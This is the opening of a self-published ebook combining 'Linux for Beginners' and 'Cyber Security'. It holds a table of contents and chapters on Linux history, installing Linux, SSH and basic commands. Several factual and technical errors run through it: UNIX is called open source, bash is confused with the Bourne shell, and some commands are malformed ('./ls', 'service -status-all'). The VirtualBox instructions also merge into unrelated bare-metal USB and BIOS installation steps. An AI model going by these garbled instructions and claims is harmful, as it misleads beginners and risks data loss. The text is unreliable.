COMPUTER ENGINEERING

2 BOOKS IN 1

LINUX FOR BEGINNERS + CYBER SECURITY, HOW TO WIN WITH CYBERATTACKS AND HOW TO USE LINUX LIKE A PRO
COMPUTER ENGINEERING:
2 BOOKS IN 1
LINUX FOR BEGINNERS +
CYBER SECURITY

How to Use Linux Like a Pro and How to Win with Cyberattacks

JOHN SNOWDEN
Copyright

This document is geared towards providing exact and reliable information with regard to the topic and issue covered. The publication is sold with the idea that the publisher is not required to render accounting, officially permitted or otherwise qualified services. If advice is necessary, legal or professional, a practiced individual in the profession should be ordered. - From a Declaration of Principles which was accepted and approved equally by a Committee of the American Bar Association and a Committee of Publishers and Associations.

In no way is it legal to reproduce, duplicate, or transmit any part of this document in either electronic means or in printed format. Recording of this publication is strictly prohibited, and any storage of this document is not allowed unless with written permission from the publisher. All rights reserved. The information provided herein is stated to be truthful and consistent, in that any liability, in terms of inattention or otherwise, by any usage or abuse of any policies, processes, or directions contained within is the solitary and utter responsibility of the recipient reader.

Under no circumstances will any legal responsibility or blame be held against the publisher for any reparation, damages, or monetary loss due to the information herein, either directly or indirectly. Respective authors own all copyrights not held by the publisher.

The information herein is offered for informational purposes solely and is universal as so. The presentation of the information is without contract or any type of guarantee assurance.
CONTENTS

LINUX FOR BEGINNERS

Introduction

Chapter One: History And Background

Chapter Two: Installing Linux

Chapter Three: Linux Commands & Architecture

Chapter Four: Linux And Bash

Chapter Five: Using C++

Chapter Six: Learning Python

Chapter Seven: Shell Scripting

Chapter Eight: Blockchains

Chapter Nine: Managing Text Files

Chapter Ten: Advantages Of Using Linux

Conclusion

CYBER SECURITY

Introduction

Chapter One: What Is Hacking?

Chapter Two: How It Works & How To Get Away With It
Chapter Three: What Is Cybersecurity

Chapter Four: Common Cyberattacks

Chapter Five: Cyber Threats

Chapter Six: Cybersecurity Terminology

Chapter Seven: History Of Cyberattacks

Chapter Eight: Types Of Cyber Security Tools

Chapter Nine: Roles Of Cybersecurity In A Company

Chapter Ten: The Benefits Of Cybersecurity

Chapter Eleven: Cons And Pros Of Cybersecurity

Chapter Twelve: Types Of Cybersecurity

Chapter Thirteen: Improving Your Security

Chapter Fourteen: Enhancing Physical Security

Chapter Fifteen: Ethical Hacking

Chapter Sixteen: Mistakes Made In Cybersecurity

Chapter Seventeen: Demand Of Cybersecurity

Chapter Eighteen: Cyber Security Readiness

Conclusion
LINUX FOR BEGINNERS

A Practical Guide for Complete Beginners on How to Master and Discover Surprisingly Tips On How to Use Linux Efficiently
Introduction

Many skeptics are quick to dismiss Linux, comparing it to larger, more influential systems like Windows and MacOS, saying that it is slower and uglier. They also like to say that it is not user-friendly and hard to use by even those with the most programming prowess. While it is true that Linux is inferior to many other systems in terms of visual appeal and ease of usage, the fact of the matter is that the point of Linux was never that. While many other operating systems flood you with flashy options and applications, Linux chooses to remain straightforward in its approach and deliver results with the utmost simplicity. Linux was made to learn about the more advanced spheres of programming relatively easily and has been doing the job for many long years. What sets Linux apart from the other operating systems is how truly unique it is in many ways. It is a community-wide effort, so there are no sharks in play who want to prosper on the sweat of others. Everybody does as they want to, and we all have the same resources at our disposal. What makes your Linux system different from any other is how you choose to use it. Though a bit difficult to master, being good at anything takes hard work and dedication. Taking care of the system is not an issue, either. The commands used for this are all highly intuitive and very accurate, which means that you will rarely need the help of a professional when it comes to maintenance, even with huge server systems. There is really nothing bad that can be said about Linux that isn't balanced out by something else. With the steady progress Linux has been making, it is starting to become fiery competition for OSs made by more prominent companies.
Chapter One:

History And Background

The term Linux refers to a kernel or an operating system that was developed by Linus Torvalds, along with a few other contributors. The first time it was released publicly was in September 1991. In a world where Microsoft was charging consumers for an operating system like Windows, Linux's advantage was that it was an open-source software, meaning that programmers had the option to customize it, create their own operating system out of it, and use it as per their requirement. The Linux operating system code was written mostly in the C programming language. There are hundreds of operating systems available today which use the Linux kernel, and the most popular among them are Ubuntu, Debian, Fedora, and Knoppix. This is not the end of the list, as new operating systems come up almost every year that use the kernel from the original Linux system.

Linux was a milestone in computing and technology, and Linux powers most of the mobile phones, web servers, personal computers, cloud-servers, and supercomputers today. The job profile of Linux System Administration refers to that of maintaining operations on a Linux based system and ensuring maximum uptime from the system, in short, making sure that the system is consumed in the most optimum possible way. In the modern world, most of your devices run on a Linux powered server or are associated with a Linux system in some way or the other because of its high stability and open-source nature.

Owing to this, the job of a Linux Administrator revolves around the following:

- Linux File System
- Managing the superuser on the Linux system known as Root
Command Line using the Bash Shell

- Managing users, files, and directories

You can think of it as maintaining your own personal computer, which you would do at home, but on a larger scale. In this case, for an entire organization. Linux system administration is a critical requirement for organizations in the modern world and, therefore, there is a huge demand in the market for this profile. The job description may vary from one organization to another, but the fundamentals of Linux Administration remain the same for every organization. The following responsibilities are associated with the profile of a system administrator:

- Maintaining regular backups of the data of all users on the system.
- Analyzing logs for errors to continuously improve the system.
- Maintaining and enhancing the existing tools for users of the system and the Linux environment.
- Detecting problems and solving them, which range from user login issues to disaster recovery.
- Troubleshooting other problems in the system.

Perhaps the most important skill to be found in a system admin is performing under a lot of load and stress. A system admin usually works a seven day week wherein they are on call two days a week and has to come online as soon as there is an issue with the system and must be quick to resolve it so that the system goes online immediately. If kept down for a long time, a system or a server can lead to losses worth thousands of dollars for an organization. For example, take the website of the shopping giant Amazon. If Amazon’s website went down even for one hour, all sales would suffer, leading to huge revenue losses. This is where a system admin steps in and saves the day. A system admin's role is nothing short of a superhero who saves an organization whenever the need arises.
Originally, Linux was developed merely as a hobby project by a programmer known as Linus Torvalds in the early 1990s while at the University of Helsinki in Finland. The project was inspired by a small Unix (an operating system) system called Minix developed by professor Andy Tanenbaum who used the Unix code to teach students of that university about operating systems.

At that time, Unix was only used in universities for academic purposes.

The professor developed Minix (a little clone of Unix) to effectively teach his students about operating systems with a bit more depth.

Linus was inspired by Minix and developed his own clone, which he named Linux.

On 5th October 1991, version 0.02— which was the first version of Linux, was announced by Linus. While this version was able to run the Bourne shell (bash)—the command line interface—and a compiler called GCC, there wasn’t much else to it.

Version 0.03 was released sometime later, and then the version number was bumped up to 0.10, as more people began embracing the software.

After a couple more revisions, Linus released version 0.95 in March 1992 as a way of reflecting his expectation that the system was prepared for an ‘official’ release real soon. About a year and a half later (December 1993), the version was finally made it to 1.0.

Today, Linux is a total clone of Unix and has since reached a user base spanning industries and continents.

The people who understand it see and appreciates its use in virtually everything—from cars to smartphones, home appliances like fridges, and supercomputers, this operating system is everywhere.

Linux runs the largest part of the internet, the computers making all the scientific breakthroughs you hear about every other day and the world’s stock exchanges.
As you appreciate its existence, don't forget that this operating system was (and still is) the most secure, reliable, and hassle-free operating system available before it became the best platform to run servers, desktops, and embedded systems all over the globe.

With that short history, I believe you are now ready for some information to get you up to speed on this marvelous platform.

**UNIX EVOLUTION**

In this section, we'll be looking at Linux history.

Now when it comes to Linux history, even before I speak about the beginning of Linux or how Linux evolved, we need to look at computers' evolution.

**Evolution of Computers and UNIX**

If you all know like when the computers were developed or introduced, they were enormous, big size systems, non-affordable and I think when the computers were developed the first time they were as big as small houses.

Pretty big systems, and they were not so easy to be affordable by a normal person.

When computers first started to evolve, every company had a different operating system. They used to buy the hardware, create their own operating system, and run the computers per their own company norms.

With different companies buying the hardware and different companies introducing their own operating system, the issue was that each computer was developed for a specific purpose, meaning that every system had a specific purpose. For instance, one server would have a specific purpose, one workstation would have a specific purpose, but there was no standardized operating system across all the systems or the servers or the workstations.

These systems were extremely costly because when computers were created initially, the hardware cost was very high. If you compare this
with mobile phones, when mobile phones were initially created, they were also very costly.

Today the demand is so high that hardware costs have gone down, and anyone can purchase a mobile phone. The same is with computers. You can get computers at an affordable price since many companies create computers, meaning lots of competition. So when demand increases, when competition increases, the prices will definitely come down.

But when computers were first built, it was not easy for anyone to afford a computer, and that's why only companies used to afford computers that were extremely costly. Also, in those days, understanding and learning computers was a required skill.

So, for a normal person, it was impossible to learn and understand computers or operating systems. Every company had skilled labour, skilled people who operated and worked on these specific computers.

That's the main evolution of computers, and that's how it started.

Now understand this guy with this evolution; there was definitely a problem.

The problem is every company had its own monopoly when it came to hardware or the computer's operating system. They developed their own operating system. So, there was no standardization of the operating systems across computers and the companies that built them.

That's why in 1969, a team of developers started at Bell Labs. C language was first developed in that very lab, where a team of developers thought, why not build a standard operating system that can be used across computers so that people don't have to worry about the hardware or software?

Initially, the problem was the hardware cost, on top of another cost to build an operating system for specific computers. To reduce that cost, the developers thought, why not create a standard operating system so that people can purchase standard hardware?
They can purchase or install the standard operating system and then continue the development or use their applications.

That's the beginning of Unix.

The UNIX project's goal was to create common software for all the computers because all companies were developing their own operating system; it was a pretty hard job. They wanted to standardize the process.

The UNIX or the UNIX operating system was started on C language.

Now the team had a further goal for the development of the UNIX operating system, and the goal was to create a code that is easy to understand and reusable or recyclable. This recyclable code is known as the kernel. The kernel is the part of the operating system since an operating system has multiple components. It is responsible for communicating with the hardware and the software. The kernel is recyclable and is used to develop the operating system and enhance the features.

What many people do NOW is use this kernel because it's standard code. They can develop their own UNIX flavours by modifying the kernel or the software that talks to the kernel or the applications that talk to the kernel because it is a standard layer.

Earlier, you had to develop an operating system that spoke directly to the hardware. Now you have a layer, the kernel, or a mediator responsible for speaking to the hardware.

So we need to create applications that can only speak directly to the kernel because the kernel handles the communication with the hardware. It was not a requirement to develop applications that would speak directly to the hardware. We have a standard layer of the kernel, so the applications will communicate with the kernel, which will communicate with the hardware.

Another goal of this plan was to develop the UNIX operating system with open source code. This implies that the UNIX operating system code is open for anyone.
Anyone can read the kernel; anyone can modify it as per their requirement and use the kernel and build some other flavour of the UNIX operating system. As UNIX was a complex operating system in the beginning, it was only found in universities, government, organizations, and big corporations.

But then, as we have just seen that the source code for UNIX is open source, what happened is that companies like IBM-AIX, HP-UX, and Sun Solaris started creating their own flavour of UNIX.

**How Linux Came into the Picture**

Being an initial operating system, the UNIX operating system was complex and pretty hard to configure. Only big corporations can afford to use UNIX, modify, and use it for their own purpose.

There was a man named Linus Torvalds. He was a student in Finland, and his goal was to create or design a freely available academic version of UNIX. In 1991, he started writing his code for his own PC. That’s how this Linux project started.

There were no intentions to create a big operating system that would challenge the UNIX operating system. No, the goal was to create a freely available Academy version of UNIX. Still, he only wanted to create it for his Wizard system, and the main reason for doing this or this goal was because he could not afford the UNIX operating system.

He had no idea about how big this project would become.

Initially, what he did was perhaps because of his ego, or as he was not able to afford the UNIX operating system, he created the Linux operating system free. Still, he restricted it for commercial use because UNIX was a commercial operating system, and it was hard for people to use UNIX for their own purpose.

That’s why he created Linux for free. Anyone can use it, but not for commercial purposes. Companies or big corporations could not purchase or use the Linux operating system for their own purpose.

In 1992, he released Linux under GNU—General Public License.
Today, any company can use the Linux operating system because it's completely free. You don't need to have a license. Linux is almost everywhere. It is used in Supercomputers, Laptops, Tablets, Mobiles, and Routers, Washing machines, Watches, Servers, Cars, etc.

**Linux Features**

**Multi-User Operating System**

Multiple users can connect to the same operating system from different terminals and utilize the hardware resources like RAM, hard disk, and work on the operating system simultaneously. One user can connect to the operating system and the other can connect to the operating system regardless of whether the first user logs out. Multiple users can connect to the same operating system and work on the Linux Operating System.

**Multitasking**

Multitasking means the tasks or the system calls or the user requests inside the Linux operating system; it is so intelligent that it can divide the tasks and work on multiple tasks based on the CPU threads. All the tasks are divided and executed parallelly when it comes to CPU threads. Multiple CPU threads will execute multiple user requests, and that's why this term multitasking came into the picture.

**Portability**

Portability does not mean that you can take the Linux operating system in your pen drive or on a CD. Of course, you can do that, but the main point when it comes to portability is that you can install Linux on any hardware,

It's so easy, and we have just now seen the places where we can find the Linux operating system, which means Linux is easily portable onto different types of hardware.

**Security**

Like inside Linux, we have authentication. When you try to connect to the Linux operating system, you need to provide the user ID and
password.

When you try to access files, then you have what they are called permissions. You need to have the permissions to access the file. Again, the files can be encrypted inside the operating system to convert it into a format that is not readable when someone else tries to open it, who doesn't have the permissions.

**GUI Interface**

We can also have a Linux operating system where you can use Linux in GUI if you install some packages.

Note: The Mac operating system is built on Unix OS.

**File System**

A file system allows you to arrange your files and directories in a systematic order.

**Open Source**

It means that anyone can freely download, install, and use the Linux operating system.
Chapter Two:

Installing Linux

Take note that you might need to know your computer's hardware before you install certain distributions. For instance, if you choose to install Debian, you will need information about your PC and its components because the distribution does not recognize everything.

Fortunately, nowadays, all installers are capable of scanning your computer and see every connected hardware element. However, you should still have the information handy in case some errors occur. This way, you can troubleshoot and figure out what went wrong during the setup process.

Once you've selected your Linux distribution, you need to download it. If not all, most of them come in ISO format, and you can download them for free.

The next step is burning the file on a disk or a flash drive. Moving on, you need to tell the system to boot up from the disk or flash drive when you start it up. Many computers will boot automatically when they detect a boot-up disk, but sometimes you have to turn on the setting yourself if it's set to always boot from the hard drive. Changing the boot-up order may solve the problem. You will have to access your system's options.

You gain access to your system by pressing a key like F10 or "DEL" before your operating system loads.

Once you're in the computer's setup section, you need to assign your Linux boot up disk to be the default boot device. Confirm the change, place your disk in the drive (or connect the flash drive), and restart your computer. At this stage, you should probably know whether you want to keep your current operating system at the same time as
installing Linux. If you have Windows installed, for instance, and you
don’t want to replace it, you will have to perform a few additional
steps.

If you plan on keeping your current operating system, the first thing
you need to do is prepare a separate drive partition for the Linux
distribution.

Currently, your system is using the entire hard drive. The process isn’t
difficult, but there’s always the risk of accidentally wiping the drive
clean and losing all of your data. This is why, before installing any
operating system, it’s a good idea to back-up all of your files and data.
With a backup, you can use a partitioning application to make the
process easier.

For instance, a program called QTParted works well, and it comes
included with certain Linux distributions.

Many Linux installers can handle your partitions automatically. The
new partition is created by shrinking the size of your current operating
system’s partition.

Once you’re ready to install Linux, boot your computer from the
installation disk and begin the process. You need to follow many steps,
and the entire setup may take up to two hours. It all depends on your
system and which distribution you’re installing. At this stage, all you
really need to do is follow the onscreen instructions.

Most modern and up-to-date distributions guide you through an easy
to follow graphical user interface.

One important element of the installation involves the hard drive
partitioning. Yes, even if you already performed the partitioning step
above. All you need to do is use the partition you already setup.

The openSUSE installation interface with several distributions should
show you the recommended steps you need to take. Once you perform
the guided configuration, which includes basic steps such as time and
network setups, you need to select which packages you want to install.
Keep in mind that some Linux distributions are setup to install certain
components, and you won't have the option to choose.

Once the installation process is complete, restart your computer. This step is part of the setup process and is necessary.

Now Linux is ready to run.

When you boot up the system for the first time, you will find a few more optional steps that involve further system configuration and installing various packages and applications.

**Linux Flash Drive**

Using Linux Live disks is a good way to explore the large variety of distributions available to you.

It won't take a time-consuming installation process, and you don't need to worry about endangering your current system to something you aren't familiar with. This is why CDs and DVDs with Live installation were so popular at one point. Nowadays, while you can still choose to go with disks if you want to, most people choose to go with the more modern flash drive. Many people don't even install disk readers anymore because of the more practical USB drive, which is faster, easier to use, and can hold much more data.

The biggest issue with Live disks is that they are slow when reading or writing data. Another problem is the difficulty you would encounter when it comes to operating system configuration. It's not that easy to save certain changes to a Live disk, which is why we are going to focus on bootable flash drive distributions.

Bootable flash distributions have been around for years, as the technology isn't exactly new. However, until recently, many of them came with some disadvantages.

One of the most popular Live distributions is probably Fedora because it's easy to prepare. The installation is free of any risks to your system. You can maintain any other files you may have on your flash drive. Most importantly, it is easy to save your Linux system configurations and modifications.
The simplest way to create a bootable Linux drive is by taking advantage of your current operating system.

It may sound strange, but performing this process using Windows is a lot easier for a beginner than typing a set of command-line instructions.

Our example will focus on using Windows since many people interested in Linux seem to be using this system. However, if you are using Mac, the steps should be nearly the same. Therefore, you should be able to adapt the process on your own.

Here are the following steps you need to follow to create a bootable USB drive:

- First, you need to download the live USB-creator applications.
- Install the program by following its very straightforward setup guide.
- Locate the installation folder and run the application.
- Select the flash drive option, which you can find under the "target device." The drive should appear along the lines of "MyDrive."
- Now you need to select where the ISO file comes from. Choose the download option to access it.
- Next, you need to choose the "persistent storage" amount. This represents the storage space, which will be reserved for the installation. Keep in mind that the application might set the default to 0MB. You should opt for 400MB, at least.
- Finally, you can click on the "Create Live USB" button.

The process will take several minutes, and in the end, you will see two new folders: one named "syslinux," which is small and is only responsible for the system boot up, the second folder is "LiveOS," which contains the system and utilizes the storage you set up earlier.

You can now terminate the flash drive creator and try out the Live drive.
Virtual Machines

VirtualBox is a virtual machine that, first developed by Sun Microsystems, is now under Oracle's ownership.

It simulates a separate computer, and each virtual machine can have its own applications, operating system, and a whole host of other things. VirtualBox is ideal for testing out various operating systems, in this case, Linux on a Windows or Mac OS computer.

Using Linux in this way, you don’t need to make any permanent changes to your current system.

Here's how to install VirtualBox on Windows and Mac.

Windows

• Go to the VirtualBox Download page and find the latest version; click on it.

• On the next page, look for the file that ends .exe and download it – remember the location you saved it on your computer.

• Once the installer has been downloaded, double-click the .exe file and follow the instructions on the screen to install it onto Windows – be aware that you may lose your network connection for a while during the installation because virtual network adaptors are being installed.

• Now you must reboot your computer, and you should find VirtualBox in your apps.

From here, you can run it and install any other operating system that you want to try.

Mac OS

• Go to the VirtualBox download page and download the latest version of the app for the Mac.

• Save the .dmg to a file location that you will easily remember – make sure you download the OS X hosts version.
- Locate the file and install it using the executable file
- Reboot your computer, and you can start using VirtualBox.

**Installing Linux Using an Image for Virtual Box Windows**

After finishing the steps to install VirtualBox to your computer, you need to download the disk image for Ubuntu Linux.

- First, if you haven't already got a BitTorrent client installed on your computer, download one now – BitTorrent is a P2P application that allows downloads from other users, significantly easing the loading in the Ubuntu servers.

- Now head to the Ubuntu release website and download the latest release version – do NOT click on Desktop CD's links.

- Now copy that to a bootable USB

Caution here – if WinRAR is installed, it will automatically associate itself with the file you downloaded and will ask you if you want to use WinRAR to extract the contents – do NOT use WinRAR and do NOT extract the .iso.

**IMPORTANT – Before you start the next step, back up the contents of your hard drive somewhere safe! If you don't, you will lose everything!**

- Open VirtualBox from your Start menu and click New – this will open the New Virtual Machine Wizard.

- Click on Next and give your virtual machine a name – stick with Ubuntu or Linux for ease.

- If you have more than 1 GB of RAM on your computer, allocate one-quarter maximum to the virtual machine – if you have less, stick with what VirtualBox recommends. Click Next.

- Click on Create New Hard Disk and then on Next.

- Click on Next again, and you will come to a screen where you set the type of hard drive. Choose Fixed-Size Storage.
• If you intend to add software or to install potentially large files in virtual Linux, add on some buffer; click Create.

• When the virtual hard drive has been created, you need to add the .iso image you downloaded. Click Settings>Storage>CD/DVD Device

• Where it says Empty, there is a folder icon, so click on it.

• Choose the .iso that you already downloaded and click on OK.

• Now double-click on the virtual machine, so it starts.

• You will get a load of instructions and warnings about using guest operating systems – read and then mark them, so they don’t come up again.

• Wait while Ubuntu loads.

• Before you can install Linux, you must first change your BIOS settings on your computer – usually, when you start your computer, you hit F1, F2, F12, Escape or Delete.

• Restart your computer now and get into the BIOS settings and change the boot option to boot from USB first.

• Now plug your USB stick in and reboot your computer again.

• You will see a screen that is blank except for a few logos at the bottom.

• Press any key, and a new screen will appear – choose the language you want

• Now click on Install Ubuntu.

• The installer will start, and you may be asked to choose your language again.

• Tick the option for installing closed source software

• Now you will be asked to connect to your Wi-Fi if you aren't connected already – you don’t need to do this right now, and it will make your installation take longer, so ignore it.
• There are three options here – choose the first one and then drag the slider to choose the hard drive sizes for Windows and Ubuntu.

Your hard drive will now be partitioned.

• Answer the questions that appear on your screen as they appear – these are self-explanatory.

• Now you just wait for Ubuntu to be installed – depending on your computer’s speed, this can take up to one hour.

• Reboot your computer and remove your USB stick – when you boot up again, you will be in a working Ubuntu environment.

If you changed the size of your partition for Windows, you will be asked to do a disk check – this is not necessary.

Go back to Settings>Storage>CD/DVD and check that it has the Empty entry again – this will eliminate the need to use your USB every time you boot your computer.

**Mac OS**

When the VirtualBox installation has been completed, you need to download the iso.

• Go to the Ubuntu download page and click on the Mac .iso image – choose your geographical location and then click Begin Download.

• Make sure you save the file and not open or mount it.

• Open VirtualBox and register it.

• Now create a new virtual machine – click on New to open the wizard.

• Click Next and type in a name for the virtual machine.

• Choose Linux Ubuntu from the operating system menu and click on Next.

• Set your base memory as 384 MB and click on Next.

• Now you need to click to create a new hard disk, which is just a disk
that takes up space on your existing drive – make sure you have enough to do this!

- Accept all the default settings and click on Next.

- The Create New Virtual Disk Wizard will appear. Click on Next.

- Click on Dynamically Expanding Storage and click on Next.

- Choose where you want your hard drive to be and how big – 2 TB is the maximum, although 8 GB is more than sufficient.

- Click on Next and then on Finish.

- The framework is ready, so make sure you have copied the iso to a bootable USB or DVD.

- VirtualBox will now show you that you have a virtual machine with the name of Ubuntu Linux.

- Insert your DVD or USB.

- Click on CD/DVD and then tick the box for Mount CD/DVD drive.

- Click on ISO Image File.

- Click the folder beside No Media and then drag your iso file into it.

- Click on Select and then on OK.

- Click on Start. A black screen will appear – this is the new session, and everything you do now will be done on the virtual machine – if you want to change that back to your Mac, just press the Command key on the left side of the space bar.

- Click OK.

- When the Ubuntu screen appears, double click on Install and answer the questions that appear on the screen.

- When finished, click on Forward.

- Now accept the default values for where Ubuntu is going and click on Forward.
• Input your personal information, including a new password and a name for your machine.

• Choose whether to log in automatically or use a password and click on Forward.

• Click Install and wait.

• When the installation has finished, you will either be asked to use your password to go in, or you will automatically be at the Linux desktop, depending on what option you chose.

• Ubuntu will now check for updates, so click on Install Updates and wait.

• Reboot your Mac is needed, and you are ready to go.

Steps of Installing CentOS from Scratch

CentOS is a stable Linux distribution, and here's how to install it:

• Go to the download page for CentOS and download the ISO.

• Now you need to make up a bootable drive, transferring the ISO to a formatted USB stick. To do this, plug your USB in and open a command prompt window.

• Type the following in - # dd if=/iso/CentOS-versionnumber-x86_64-DVD-1602-99.iso of=/dev/sdb – ensure that you have a minimum 5 GB space on the USB stick.

• On the desktop, click on Install to Hard Drive.

• Choose your keyboard type and preferred language – make sure you pick the right keyboard, or some of your keys will be scrambled up.

• The installer's default is to select Automatic Partitioning of your hard drive – click the icon for Installation Destination and change by selecting Custom Partitioning.

• Choose your hard drive where the installation of CentOS is to be stored and then click on Other Storage Options.
- Select the option giving you a chance to configure the partitioning by yourself, and then click on Done.

- Select the Standard Partition.

- To develop a Swap Space on one of your partitions, select File System where the swap space will be created and name it as swap.

- Select Reformat.

- Now you need to create your mount point — where to install the root partition.

Set your mount point and then set Label and Desired Capacity in any way you desire.

- Click on ext4 to set the file system and then on Reformat.

- Click Done and accept the changes you have made.

- Click the clock and set your time zone; click Done.

- Click on Begin Installation; as it goes through, follow all the onscreen instructions, setting up your user account and the root password.

- To do this, click Root Password and type in the password twice; click on Done.

- To create your user account, input the details and, if this is going to be an administrator account, ensure that you tick the options for Make This User Administrator and on Require a Password.

- When you complete the installation, a message telling you it was successful will appear; click on Quit.

- Log out and then log in to your new CentOS installation.

- Accept the EULA, and you are ready to go.

**Connecting Your Linux System over the Network**

If you are looking to connect your Linux system over your network, you must use SSH.
This is an acronym for Secure Shell, and it is one of the most well-known of the network protocols.

The purpose of SSH is to let you connect securely to remote machines on your network.

To connect your Linux system over your network:

- **Windows** — use PuTTY
  - **Mac and Linux** — use SSH on the command line.

**Windows**

- Open your web browser and download PuTTY.
- Open PuTTY, then type in the IP address or Hostname into the correct box.
- If you had no port number provided, leave it as the default of 22.
- Click on Data and then on the Auto-Login Username - input your username.
- To save a session, click the Saved Sessions box, type in a name, and click on Save. In the future, you will be able to double click the saved session to connect.
- Click on Open, and a connection is made.
- When you connect to a server for the first time, PuTTY will ask for permission to cache the server’s host key – click on Yes.

**Linux and Mac**

Both Linux and Mac already have the SSH client built-in as a command-line program. To get to it, run the terminal:

- **Mac** — Applications folder
  - **Linux** — Open Dashboard and search for Terminal

When the terminal has been started, simply use the SSH command to
get your connection.

Do be aware that commands are always case-sensitive, so only use lowercase. Type in "ssh" followed by the username on the Linux server

When you connect for the first time to a server, you will need to verify the host key.

Type Yes to continue connecting and then press Enter. When the connection is established, input your password. To get out of the connection, type in exit and then log out.

You is finished with downloading and installing methods for your chosen Linux distribution or Linux operating system. After the whole process of adjusting your computer for the new operating system, you need to set up the Linux performances and environment related to your needs and working opportunities.

According to which Linux distribution and desktop environment you choose, your desktop environment and installed applications will vary. Most of them will cover your typical needs and similar personal requirement based on computer working. Most Linux distributions are connected with the Firefox web browser, and the open-source Chromium browser, or Google Chrome, is just a few clicks away.

Your desktop environment should have all the standards: the application menu, some sort of taskbar, and a notification area or "system tray." You may also find a collection of system services that will help you to configure your hardware and make your desktop work properly in the right way.

It can be a bit quirky to use Ubuntu 16.04's Unity desktop. If you want to try it, we recommend trying Ubuntu GNOME, which uses the GNOME desktop instead of Unity.

If you do not like the desktop you're using - while some distributions are optimized for a particular desktop, nearly every major distribution gives you the option to install your choice desktop once the system is installed. As long as you have enough spare storage, you can have GNOME, KDE, Cinnamon, XFCE, and other desktops installed
simultaneously. When logging in to the desktop, you can choose which desktop environment must be run.

Generally, you can find a lot of information on Google for your distribution's name. If you prefer a more structured help section, the Ubuntu and Fedora documentation websites are great resources. While the Arch Wiki is written with Arch Linux users in mind, it is a great in-depth resource for Linux programs in general.

You have several choices for what concerns Linux installation: you can either leave it on a disc or USB drive and boot it up whenever you like.

The reasons to install Linux instead of just running it from a USB drive or virtual disc are productivity and convenience. Once Linux is installed, it will remember your settings, keep your installed software, and maintain your files between reboots.

When ready to take the plunge, installing Linux on your PC is easy. Just launch the installer provided in the Linux environment. You can wipe away your existing Windows system and replace it with Linux, but installing it in a "dual-boot" configuration or Ubuntu installer parlance. The installer will resize the partition of Windows to make some additional space for Linux. Then, you can select which operating system you want to use when you boot your computer. You can choose to install Windows in a virtual machine too.

Software installation on Linux works differently from software installation on Windows. In fact, there is no need to open a web browser to search for applications, but you can look for the software installer on your system.

Your Linux distribution hosts its own so-called "software repositories," which contain software compiled to work with it. The software is tested and provided by the Linux distribution. If security patches are necessary, Linux distribution will provide them to you in a standard way.

Every distribution has command-line tools that can do the same thing. Even though it can be intimidating for newbies, we recommend users familiarize themselves with installing applications from the command
line, even if they prefer using the GUI. If an installation fails, you can use the command line that offers hints as to why the installation failed.

To sum up, a distribution is a Linux operating system shipping with every software to provide you with a complete experience. They provide the kernel, hardware drivers, and applications too.

Distributions come in every form. Some of them are aimed at new users, whereas others are geared toward the most diehard of command-line junkies. Three general-purpose distributions good for people with all skill levels are Ubuntu, Fedora, and OpenSUSE.

Many other Linux distributions are available, and each one is a bit different. Some distributions are fine to set to serve a particular niche. In doing so, you can install an operating system built for multimedia creation or created for computers with old hardware.

Hardware compatibility is perhaps the most important thing to consider when switching to Linux. While most hardware is supported by default in most Linux distributions, less popular or quirky hardware might not work. Most of the time, even if your device isn't supported by default, you can follow online tutorials that take you through installing an unsupported driver or patching the kernel — but that's not a task suited for everyone.

Some applications, particularly closed applications like Google Chrome, Steam, Skype, Minecraft, and others, may have to be installed outside your Linux distribution's package manager. Check your package manager first and see what apps may be available through your repositories.

If you can't find the app you need, you can download these applications from their official websites, just as you would on Windows. Be sure to download the installer package designed for the Linux distribution you are using.

Open-source software doesn't cost money, and everyone is free to look at the source code and modify it as they please. This means that skilled developers worldwide give their work either for free or via sponsorship
from big companies.

In contrast, the Windows source code is available only to Microsoft employees. You cannot be able to build your version of Windows kernel, fix bugs, or distribute an improved Windows version you created.

Linux is different, and the GNU General Public License is part of why this license provides the legal grounds for your rights to the software. It ensures that even when a work is modified, it remains in the public domain for other people to use and enjoy. It is the most widely used license in the common community.

It is hard to imagine how many people use Linux today. The rank on the popularity of each distribution's website is vast and large. This gives the impression of what people are interested in, but it is hard to represent which distributions are the most used worldwide. For example, Ubuntu is not currently ranked as number one, but it is widely considered the most popular version of desktop Linux.
Chapter Three:

Linux Commands & Architecture

The crux of Linux lies in the usage of the command line to achieve goals. This is one of the biggest appeals of using any Unix-based system. This section will be relatively short and will refer to the Linux command line's navigation and usage. We'll be really taking advantage of writing scripts that will automate many basic functions in the next section.

This section is basically going to go into a lot of the things that you can use to make life easier in Linux using the command line. The first thing you need to know is that everything in this part can be used in the Terminal. You can always open Terminal by going to your Applications panel then finding it either under System or Utilities.

There are different commands you can use in the command line. Traversing these is the first step to getting a more intimate feel of your Linux operating system. However, do be aware that this reading is just going to cover the very tip of the iceberg. People write several-hundred-page books about command-line commands. This section will give you a cursory overview of the things you're going to find most useful without going into too exacting of detail.

Directory commands

These are intended for both getting around and knowing where you are. The first command here is PWD. PWD stands for print working directory. If you type in pwd to the Terminal and then press enter or return, it'll print the directory that you're within.

What's a working directory? A working directory references the folder that you're working within in your Terminal instance. You can move your working directory; we'll get to that in just a second.
The next command for directories is *ls*. *ls* will list the different files and folders available within the directory that you’re working on. The most popular argument for *ls* is `-l`, which will list everything. To use this command, you have to specify the directory.

`./ls` would list all things in the given path. Meanwhile, `ls /applications` would list all things in your applications folder.

Yet another command for directories is *cd*. *Cd* stands for change directory, and this is super important to you navigating. *Cd*... will move you up one folder, while `cd folderName` will move you into any folder in the current directory. You can also use it to move across the hard drive easily.

**Creation and Deletion**

These commands will allow the user to create and delete things.

*mkdir* is a powerful tool that allows the user to create a new directory.

*rmdir* allows the user to *delete* a directory. However, it cannot delete a directory full of files.

*rm* allows the user to delete the given files.

*Touch* allows you to create a new file.

*tar* allows you to create a new tar archive - 

```
tar cvf nameOfArchive.tar directory/
```

... and extract from a tar: 

```
tar xvf nameOfArchive.tar
```

... and view an existing tar: 

```
tar tvf nameOfArchive.tar
```

**Searching and Retrieving**

*cp* allows you to copy files from one directory to another.

*Mv* lets you rename one file to another, overwriting the second file.

*Locate* can help you find things anywhere on your hard drive and provide you with use it with wildcards (*) to give many possibilities.

*Man* lets you view the manual of a given command.
Internet-based

ssh is a big deal; it lets you log in to a remote host elsewhere. This is a big topic beyond this text's scope - try man ssh to get a starting point!

FTP will let you connect to a server and upload or download files.

Wget lets you quickly download things from the internet and then install them.

System-related

service lets you deal with running services:

... view their status: service ssh status

... check all statuses: service -status-all

... restart a service: service ssh restart

shutdown lets you turn off the system: shutdown -h now

... or cause a filesystem check following reboot: shutdown -Fr now

